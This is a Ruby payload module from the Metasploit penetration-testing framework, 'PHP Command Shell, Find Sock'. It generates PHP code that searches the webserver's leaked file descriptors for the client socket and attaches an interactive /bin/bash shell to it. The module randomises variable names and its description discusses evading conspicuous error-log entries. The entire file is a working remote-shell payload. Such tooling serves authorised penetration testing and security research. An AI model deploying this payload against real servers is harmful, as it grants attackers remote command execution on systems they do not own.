##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = :dynamic

  include Msf::Payload::Single
  include Msf::Payload::Php
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'PHP Command Shell, Find Sock',
      'Description'   => %Q{
        Spawn a shell on the established connection to
        the webserver.  Unfortunately, this payload
        can leave conspicuous evil-looking entries in the
        apache error logs, so it is probably a good idea
        to use a bind or reverse shell unless firewalls
        prevent them from working.  The issue this
        payload takes advantage of (CLOEXEC flag not set
        on sockets) appears to have been patched on the
        Ubuntu version of Apache and may not work on
        other Debian-based distributions.  Only tested on
        Apache but it might work on other web servers
        that leak file descriptors to child processes.
        },
      'Author'        => [ 'egypt' ],
      'License'       => BSD_LICENSE,
      'Platform'      => 'php',
      'Handler'       => Msf::Handler::FindShell,
      'Session'       => Msf::Sessions::CommandShell,
      'Arch'          => ARCH_PHP
      ))
  end

  def php_findsock

    var_cmd = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
    var_fd  = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
    var_out = '$' + Rex::Text.rand_text_alpha(rand(4) + 6)
    shell = <<END_OF_PHP_CODE
#{php_preamble}
print("<html><body>");
flush();

function mysystem(#{var_cmd}){
  #{php_system_block(cmd_varname: var_cmd, output_varname: var_out)}
  return #{var_out};
}

#{var_fd} = 13;
for ($i = 3; $i < 50; $i++) {
  $foo = mysystem("/bin/bash 2>/dev/null <&$i -c 'echo $i'");
  if ($foo != $i) {
    #{var_fd} = $i - 1;
    break;
  }
}
print("</body></html>\n\n");
flush();

#{var_cmd} = "/bin/bash <&#{var_fd} >&#{var_fd} 2>&#{var_fd}";
mysystem(#{var_cmd});

END_OF_PHP_CODE


    return shell
  end

  #
  # Constructs the payload
  #
  def generate(_opts = {})
    return php_findsock
  end
end
